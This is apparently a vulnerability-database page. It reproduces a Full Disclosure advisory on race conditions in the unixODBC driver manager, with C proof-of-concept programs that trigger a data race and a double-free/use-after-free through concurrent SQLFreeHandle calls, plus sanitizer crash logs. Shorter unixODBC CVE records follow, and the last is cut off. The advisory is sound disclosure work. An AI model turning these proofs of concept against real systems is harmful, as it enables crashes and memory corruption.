ThreadSanitizer: reported 1 warnings
```
Output from ThreadSanitizer
Sample Double-Free/Use-After-Free Race
Although there are multiple instances of this issue within the code base, the following shall serve as a template to
find the others.
Racing on a Shared Handle
The `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform
`memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually
found and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock
before the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle
simultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the
other then reads the freed handle (a use-after-free). Such bugs can, for example, result in a crash or exploitable
memory corruption. Please note that our example only shows some of the instances and that the exact same paradigm
exists elsewhere in the code.
It should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety
of other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list
after validation has already occurred in a separate lock cycle. Also, `SQLFreeHandle` performs validation, drops the
lock, and then calls `__release_env` -- it is this process that is allowing the race.
Regarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle
(`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we,
again, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code
segments are copy/pastes of that which is shown below.
```c
thread_release( SQL_HANDLE_ENV, environment );
#ifdef WITH_SHARDENV
if ( pooling_enabled == 0 ) {
/*
* release any pooled connections that are using this environment
*/
__strip_from_pool( environment );
}
#else
__strip_from_pool( environment );
#endif
__release_env( environment );
return SQL_SUCCESS;
}
break;
```
Code snippet from `unixODBC`'s DriverManager/SQLFreeHandle.c, lines 271-288
```c
/** Lines 663-686 inside of __validate_env() **/
local_mutex_entry( &mutex_lists );
ptr = environment_root;
while( ptr )
{
if ( ptr == env )
{
if ( env -> released )
{
fprintf( stderr, "unixODBC: API Error, env handle used after being free\n" );
ret = 0;
}
else
{
ret = 1;
}
break;
}
ptr = ptr -> next_class_list;
}
local_mutex_exit( &mutex_lists );
/** ... **/
/** Lines 693-754 inside of __release_env**/
/*
* remove from list
*/
void __release_env( DMHENV environment )
{
DMHENV last = NULL;
DMHENV ptr;
if ( shared_environment && environment == shared_environment ) {
return;
}
local_mutex_entry( &mutex_lists );
ptr = environment_root;
while( ptr )
{
if ( environment == ptr )
{
break;
}
last = ptr;
ptr = ptr -> next_class_list;
}
if ( ptr )
{
if ( last )
{
last -> next_class_list = ptr -> next_class_list;
}
else
{
environment_root = ptr -> next_class_list;
}
}
clear_error_head( &environment -> error );
/*
* free log
*/
dm_log_close();
#if defined ( COLLECT_STATS ) && defined( HAVE_SYS_SEM_H )
if (environment->sh)
uodbc_close_stats(environment->sh);
#endif
/*
* clear just to make sure
*/
memset( environment, 0, sizeof( *environment ));
free( environment );
local_mutex_exit( &mutex_lists );
}
```
Snippets from `unixODBC`'s DriverManager/__handles.c
```c
#include <sql.h>
#include <sqlext.h>
#include <pthread.h>
#include <stdio.h>
static SQLHANDLE henv;
static void *racer(void *arg) {
SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv);
printf("thread %ld: SQLFreeHandle returned %d\n", (long) arg, (int) ret);
return NULL;
}
int main(void) {
for (int iter = 0; iter < 1000; iter++) {
SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
if (ret != SQL_SUCCESS) {
fprintf(stderr, "SQLAllocHandle failed (iter %d)\n", iter);
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, racer, (void *) 1L);
pthread_create(&t2, NULL, racer, (void *) 2L);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
}
return 0;
}
```
Sample code to cause the race
```text
==================================================================
==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp
0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8
READ of size 8 at 0x61e00001b8b0 thread T74
#0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42
#1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5
#2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13
#3 0x4ded0e in racer repro.c:27:5
freed by thread T73 here:
#0 0x4a31e6 in free
#1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5
#2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13
#3 0x4ded0e in racer repro.c:27:5
previously allocated by thread T0 here:
#0 in __interceptor_calloc
```
Output from AddressSanitizer
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/9 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in \nthe connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout \nvalue, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling \nfunctionality that can result in double-frees and use-after-frees. Other races exist within the code, as well, but, \nfor brevity, are left as exercises for the reader.\n\nExamples\nSample Data Races\nWhile 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and \nother instances.\n\nConnection-Pooling Configuration State Data Races\nThe DriverManager\u0027s connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and \n`pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`, \n`SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock, \ndespite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose. Since the variables in \nquestion are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a \ndata race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and \nthe compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive \noptimisations, like moving reads out of loops, that further break runtime assumptions). While there are multiple sites \nwith this specific problem, we will only show code for one for the sake of brevity. The sample code to reproduce the \nissue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple \ntimes will provide a better example thereof, as one would expect with such an issue.\n\n```c\nint pooling_enabled = 0;\nint pool_max_size = 0;\nint pool_wait_timeout;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLConnect.c, lines 738-740\n\n```c\n/** Lines 255-261 **/\n/*\n* connection pooling stuff\n*/\n\nextern int pooling_enabled;\nextern int pool_max_size;\nextern int pool_wait_timeout;\n/** ... **/\n/** Lines 302-323 **/\n if ( pooling_string[ 0 ] == \u00271\u0027 ||\n toupper( pooling_string[ 0 ] ) == \u0027Y\u0027 ||\n ( toupper( pooling_string[ 0 ] ) == \u0027O\u0027 \u0026\u0026\n toupper( pooling_string[ 1 ] ) == \u0027N\u0027 ))\n {\n pooling_enabled = 1;\n }\n\n#ifdef WITH_SHARDENV\n if ( pooling_enabled )\n {\n int first;\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n pool_max_size_string, sizeof( pool_max_size_string ),\n \"ODBCINST.INI\" );\n pool_max_size = atoi( pool_max_size_string );\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n \"ODBCINST.INI\" );\n pool_wait_timeout = atoi( pool_wait_timeout_string );\n/** .. **/\n/** Lines 383-397 **/\n#else\n\n if ( pooling_enabled )\n {\n int first;\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n pool_max_size_string, sizeof( pool_max_size_string ),\n \"ODBCINST.INI\" );\n pool_max_size = atoi( pool_max_size_string );\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n \"ODBCINST.INI\" );\n pool_wait_timeout = atoi( pool_wait_timeout_string );\n```\nSnippets from `unixODBC`\u0027s DriverManager/SQLAllocHandle.c\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\n#define ITER 2000\n\nstatic void *setter_thread(void *arg) {\n (void)arg;\n for (int i = 0; i \u003c ITER; i++) {\n SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING,\n (SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0);\n }\n return NULL;\n}\n\nstatic void *alloc_thread(void *arg) {\n (void)arg;\n for (int i = 0; i \u003c ITER; i++) {\n SQLHENV henv = SQL_NULL_HENV;\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n if (henv != SQL_NULL_HENV) {\n SQLFreeHandle(SQL_HANDLE_ENV, henv);\n }\n }\n return NULL;\n}\n\nint main(void) {\n pthread_t t1, t2;\n pthread_create(\u0026t1, NULL, setter_thread, NULL);\n pthread_create(\u0026t2, NULL, alloc_thread, NULL);\n pthread_join(t1, NULL);\n pthread_join(t2, NULL);\n printf(\"done\\n\");\n return 0;\n}\n```\nSample code to cause the data race\n\n```text\nWARNING: ThreadSanitizer: data race (pid=1369482)\n Read of size 4 at 0x7f6f9fff8c28 by thread T2:\n #0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ...\n #1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ...\n #2 alloc_thread .../poc_pool_race.c:41:24 ...\n Previous write of size 4 at 0x7f6f9fff8c28 by thread T1:\n #0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ...\n #1 setter_thread .../poc_pool_race.c:31:9 ...\n Location is global \u0027pooling_enabled\u0027 of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28)\n ...\nSUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle\nThreadSanitizer: reported 1 warnings\n```\nOutput from ThreadSanitizer\n\nSample Double-Free/Use-After-Free Race\nAlthough there are multiple instances of this issue within the code base, the following shall serve as a template to \nfind the others.\n\nRacing on a Shared Handle\nThe `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform \n`memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually \nfound and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock \nbefore the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle \nsimultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the \nother then reads the freed handle (a use-after-free). Such bugs can, for example, result in a crash or exploitable \nmemory corruption. Please note that our example only shows some of the instances and that the exact same paradigm \nexists elsewhere in the code.\n\nIt should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety \nof other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list \nafter validation has already occurred in a separate lock cycle. Also, `SQLFreeHandle` performs validation, drops the \nlock, and then calls `__release_env` -- it is this process that is allowing the race.\n\nRegarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle \n(`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we, \nagain, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code \nsegments are copy/pastes of that which is shown below.\n\n```c\n thread_release( SQL_HANDLE_ENV, environment );\n\n#ifdef WITH_SHARDENV\n if ( pooling_enabled == 0 ) {\n /*\n * release any pooled connections that are using this environment\n */\n __strip_from_pool( environment );\n }\n#else\n __strip_from_pool( environment );\n#endif\n\n __release_env( environment );\n\n return SQL_SUCCESS;\n }\n break;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLFreeHandle.c, lines 271-288\n\n```c\n/** Lines 663-686 inside of __validate_env() **/\n local_mutex_entry( \u0026mutex_lists );\n\n ptr = environment_root;\n\n while( ptr )\n {\n if ( ptr == env )\n {\n if ( env -\u003e released )\n {\n fprintf( stderr, \"unixODBC: API Error, env handle used after being free\\n\" );\n ret = 0;\n }\n else\n {\n ret = 1;\n }\n break;\n }\n\n ptr = ptr -\u003e next_class_list;\n }\n\n local_mutex_exit( \u0026mutex_lists );\n/** ... **/\n/** Lines 693-754 inside of __release_env**/\n/*\n* remove from list\n*/\n\nvoid __release_env( DMHENV environment )\n{\n DMHENV last = NULL;\n DMHENV ptr;\n\n if ( shared_environment \u0026\u0026 environment == shared_environment ) {\n return;\n }\n\n local_mutex_entry( \u0026mutex_lists );\n\n ptr = environment_root;\n\n while( ptr )\n {\n if ( environment == ptr )\n {\n break;\n }\n last = ptr;\n ptr = ptr -\u003e next_class_list;\n }\n\n if ( ptr )\n {\n if ( last )\n {\n last -\u003e next_class_list = ptr -\u003e next_class_list;\n }\n else\n {\n environment_root = ptr -\u003e next_class_list;\n }\n }\n\n clear_error_head( \u0026environment -\u003e error );\n\n /*\n * free log\n */\n\n dm_log_close();\n\n#if defined ( COLLECT_STATS ) \u0026\u0026 defined( HAVE_SYS_SEM_H )\n if (environment-\u003esh)\n uodbc_close_stats(environment-\u003esh);\n#endif\n\n /*\n * clear just to make sure\n */\n\n memset( environment, 0, sizeof( *environment ));\n\n free( environment );\n\n local_mutex_exit( \u0026mutex_lists );\n}\n```\nSnippets from `unixODBC`\u0027s DriverManager/__handles.c\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n\nstatic SQLHANDLE henv;\n\nstatic void *racer(void *arg) {\n SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv);\n printf(\"thread %ld: SQLFreeHandle returned %d\\n\", (long) arg, (int) ret);\n return NULL;\n}\n\nint main(void) {\n for (int iter = 0; iter \u003c 1000; iter++) {\n SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n if (ret != SQL_SUCCESS) {\n fprintf(stderr, \"SQLAllocHandle failed (iter %d)\\n\", iter);\n return 1;\n }\n\n pthread_t t1, t2;\n pthread_create(\u0026t1, NULL, racer, (void *) 1L);\n pthread_create(\u0026t2, NULL, racer, (void *) 2L);\n pthread_join(t1, NULL);\n pthread_join(t2, NULL);\n }\n return 0;\n}\n```\nSample code to cause the race\n\n```text\n==================================================================\n==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp \n0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8\nREAD of size 8 at 0x61e00001b8b0 thread T74\n #0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42\n #1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5\n #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n #3 0x4ded0e in racer repro.c:27:5\n\nfreed by thread T73 here:\n #0 0x4a31e6 in free\n #1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5\n #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n #3 0x4ded0e in racer repro.c:27:5\n\npreviously allocated by thread T0 here:\n #0 in __interceptor_calloc\n```\nOutput from AddressSanitizer\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/9"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/9"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Races",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0549",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9",
"automated": true,
"contentSha256": "6a1c1cf7a2ad3d97d7f34204d40d10bfd034435afd8c57c465642bca5e1fda4e",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/9",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T13:14:51Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0549"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2024-1013 (GCVE-0-2024-1013)
Vulnerability from nvd – Published: 2024-03-18 10:53 – Updated: 2026-11-05 11:39
VLAI
EPSS
VEX
Title
Unixodbc: out of bounds stack write due to pointer-to-integer types conversion
Summary
An out-of-bounds stack write flaw was found in unixODBC on 64-bit architectures where the caller has 4 bytes and callee writes 8 bytes. This issue may go unnoticed on little-endian architectures, while big-endian architectures can be broken.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-04-25 17:35 UTC
CWE
- CWE-823 - Use of Out-of-range Pointer Offset
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://access.redhat.com/security/cve/CVE-2024-1013 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2260823 | issue-trackingx_refsource_REDHAT |
| https://github.com/lurcher/unixODBC/pull/157 |
Impacted products
4 products
| Vendor | Product | Version | |
|---|---|---|---|
| Red Hat | Red Hat Enterprise Linux 6 |
cpe:/o:redhat:rhel_els:6
|
|
| Red Hat | Red Hat Enterprise Linux 7 |
cpe:/o:redhat:rhel_els:7
|
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/a:redhat:enterprise_linux:8
|
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/a:redhat:enterprise_linux:9
|
Date Public
2024-03-18 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-1013",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-04-25T17:35:03.363603Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-06-04T18:00:42.304Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2024-08-01T18:26:30.429Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/security/cve/CVE-2024-1013"
},
{
"name": "RHBZ#2260823",
"tags": [
"issue-tracking",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2260823"
},
{
"tags": [
"x_transferred"
],
"url": "https://github.com/lurcher/unixODBC/pull/157"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:rhel_els:6"
],
"defaultStatus": "unknown",
"packageName": "unixODBC",
"product": "Red Hat Enterprise Linux 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:rhel_els:7"
],
"defaultStatus": "unknown",
"packageName": "compat-unixODBC234",
"product": "Red Hat Enterprise Linux 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:rhel_els:7"
],
"defaultStatus": "unknown",
"packageName": "unixODBC",
"product": "Red Hat Enterprise Linux 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "unixODBC",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "unixODBC",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
}
],
"datePublic": "2024-03-18T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "An out-of-bounds stack write flaw was found in unixODBC on 64-bit architectures where the caller has 4 bytes and callee writes 8 bytes. This issue may go unnoticed on little-endian architectures, while big-endian architectures can be broken."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Moderate"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-823",
"description": "Use of Out-of-range Pointer Offset",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T11:39:54.268Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2024-1013"
},
{
"name": "RHBZ#2260823",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2260823"
},
{
"url": "https://github.com/lurcher/unixODBC/pull/157"
}
],
"timeline": [
{
"lang": "en",
"time": "2024-01-29T00:00:00.000Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2024-03-18T00:00:00.000Z",
"value": "Made public."
}
],
"title": "Unixodbc: out of bounds stack write due to pointer-to-integer types conversion",
"x_generator": {
"engine": "cvelib 1.8.0"
},
"x_redhatCweChain": "CWE-823: Use of Out-of-range Pointer Offset"
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2024-1013",
"datePublished": "2024-03-18T10:53:02.506Z",
"dateReserved": "2024-01-29T08:43:03.223Z",
"dateUpdated": "2026-11-05T11:39:54.268Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2011-1145 (GCVE-0-2011-1145)
Vulnerability from nvd – Published: 2019-11-14 01:01 – Updated: 2024-08-06 22:14
VLAI
EPSS
VEX
Summary
The SQLDriverConnect() function in unixODBC before 2.2.14p2 have a possible buffer overflow condition when specifying a large value for SAVEFILE parameter in the connection string.
Severity
No CVSS data available.
CWE
- Buffer Overflow
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://security-tracker.debian.org/tracker/CVE-2… | x_refsource_MISC |
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_MISC |
| https://bugzilla.suse.com/show_bug.cgi?id=CVE-2011-1145 | x_refsource_MISC |
| https://access.redhat.com/security/cve/cve-2011-1145 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T22:14:27.892Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://security-tracker.debian.org/tracker/CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://access.redhat.com/security/cve/cve-2011-1145"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "unixodbc",
"vendor": "unixodbc",
"versions": [
{
"status": "affected",
"version": "before 2.2.14p2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "The SQLDriverConnect() function in unixODBC before 2.2.14p2 have a possible buffer overflow condition when specifying a large value for SAVEFILE parameter in the connection string."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "Buffer Overflow",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-11-14T01:01:55.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://security-tracker.debian.org/tracker/CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2011-1145"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://access.redhat.com/security/cve/cve-2011-1145"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2011-1145",
"datePublished": "2019-11-14T01:01:55.000Z",
"dateReserved": "2011-03-03T00:00:00.000Z",
"dateUpdated": "2024-08-06T22:14:27.892Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2018-7485 (GCVE-0-2018-7485)
Vulnerability from nvd – Published: 2018-02-26 14:00 – Updated: 2024-08-05 06:31
VLAI
EPSS
VEX
Summary
The SQLWriteFileDSN function in odbcinst/SQLWriteFileDSN.c in unixODBC 2.3.5 has strncpy arguments in the wrong order, which allows attackers to cause a denial of service or possibly have unspecified other impact.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/lurcher/unixODBC/commit/45ef78… | x_refsource_MISC |
| http://www.securityfocus.com/bid/103193 | vdb-entryx_refsource_BID |
| https://access.redhat.com/errata/RHSA-2019:2336 | vendor-advisoryx_refsource_REDHAT |
Date Public
2018-02-26 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T06:31:03.541Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/lurcher/unixODBC/commit/45ef78e037f578b15fc58938a3a3251655e71d6f#diff-d52750c7ba4e594410438569d8e2963aL24"
},
{
"name": "103193",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/103193"
},
{
"name": "RHSA-2019:2336",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2018-02-26T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "The SQLWriteFileDSN function in odbcinst/SQLWriteFileDSN.c in unixODBC 2.3.5 has strncpy arguments in the wrong order, which allows attackers to cause a denial of service or possibly have unspecified other impact."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-08-06T14:06:12.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/lurcher/unixODBC/commit/45ef78e037f578b15fc58938a3a3251655e71d6f#diff-d52750c7ba4e594410438569d8e2963aL24"
},
{
"name": "103193",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/103193"
},
{
"name": "RHSA-2019:2336",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2018-7485",
